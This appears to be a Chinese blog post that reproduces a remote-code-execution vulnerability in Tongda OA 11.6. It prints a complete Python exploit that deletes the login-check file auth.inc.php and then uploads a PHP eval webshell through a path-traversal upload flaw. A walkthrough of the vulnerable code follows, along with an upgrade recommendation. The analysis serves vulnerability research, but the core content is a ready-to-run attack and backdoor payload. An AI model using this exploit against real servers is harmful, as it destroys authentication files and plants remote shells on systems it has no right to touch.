通達OA 11.6 rce漏洞復現
阿新 • • 發佈:2020-11-24
在2020 hvv期間,接連爆出n多漏洞,這裡選擇通達OA 11.6 rce進行復現,其他版本請自行測試。
修復建議:升級至最新版本
自己公司或去客戶現場做測試的話,可以讓客戶去 webroot\inc 下將auth.inc.php備份一下,等利用成功GetShell 後,再將該檔案放進去
安裝通達OA 11.6
傻瓜式安裝
訪問
通達OA 11. 的指令碼已經很多了,放出來
import requests target="http://192.168.137.242/" payload="<?php eval($_REQUEST['Lay0us']);?>" print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA") input("Press enter to continue") print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url) print("[*]Checking if file deleted...") url=target+"/inc/auth.inc.php" page=requests.get(url=url).text if 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1) print("[+]Successfully deleted auth.inc.php!") print("[*]Uploading payload...") url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./" files = {'FILE1': ('Lay0us.php', payload)} requests.post(url=url,files=files) url=target+"/_lay0us.php" page=requests.get(url=url).text if 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url) else: print("[-]Failed to upload file")
從POC看出來該漏洞會刪除 auth.inc.php ,由此需要把檔案備份一些再進行復現,開啟檔案
這裡用到大佬寫的工具 SeayDzend 進行解密
檔案太多,發現已經解密完成,停止
開啟檔案
從第三行包含程式碼發現 是對登陸的校驗檔案
檢查/module/appbuilder/assets/print.php檔案 (未授權訪問導致產生檔案刪除漏洞)
這裡可以看到 頁面獲取 guid引數的值
使用file_exists函式判斷檔案是否存在 並未進行校驗 就執行unlink刪除檔案
exp中訪問/general/data_center/utils/upload.php檔案上傳
呼叫action=upload上傳檔案
傳入不存在的filetype 進入漏洞點
根據exp構造了上傳檔名和內容 {'FILE1': ('Lay0us.php', payload)}
同時利用file_exists函式的漏洞構造/.<>./.<>./.<>./ 逃逸出來
也就是說在這裡構造訪問上傳後
file_exists判斷存在將檔案加_拼接目錄移動到根目錄下並刪除原檔案
總體的根據exp分析 首先存在了任意檔案刪除漏洞
然後刪除登陸校驗檔案,進而導致任意檔案上傳漏洞
組合之後也就是現在的rce漏洞
file_exists特性繞過參考文章:https://www.freebuf.com/articles/web/53656.html
下面來看exp的利用
就是回車之後將進行後續操作 將會刪掉auth.inc.php這個檔案 可能會導致正常業務執行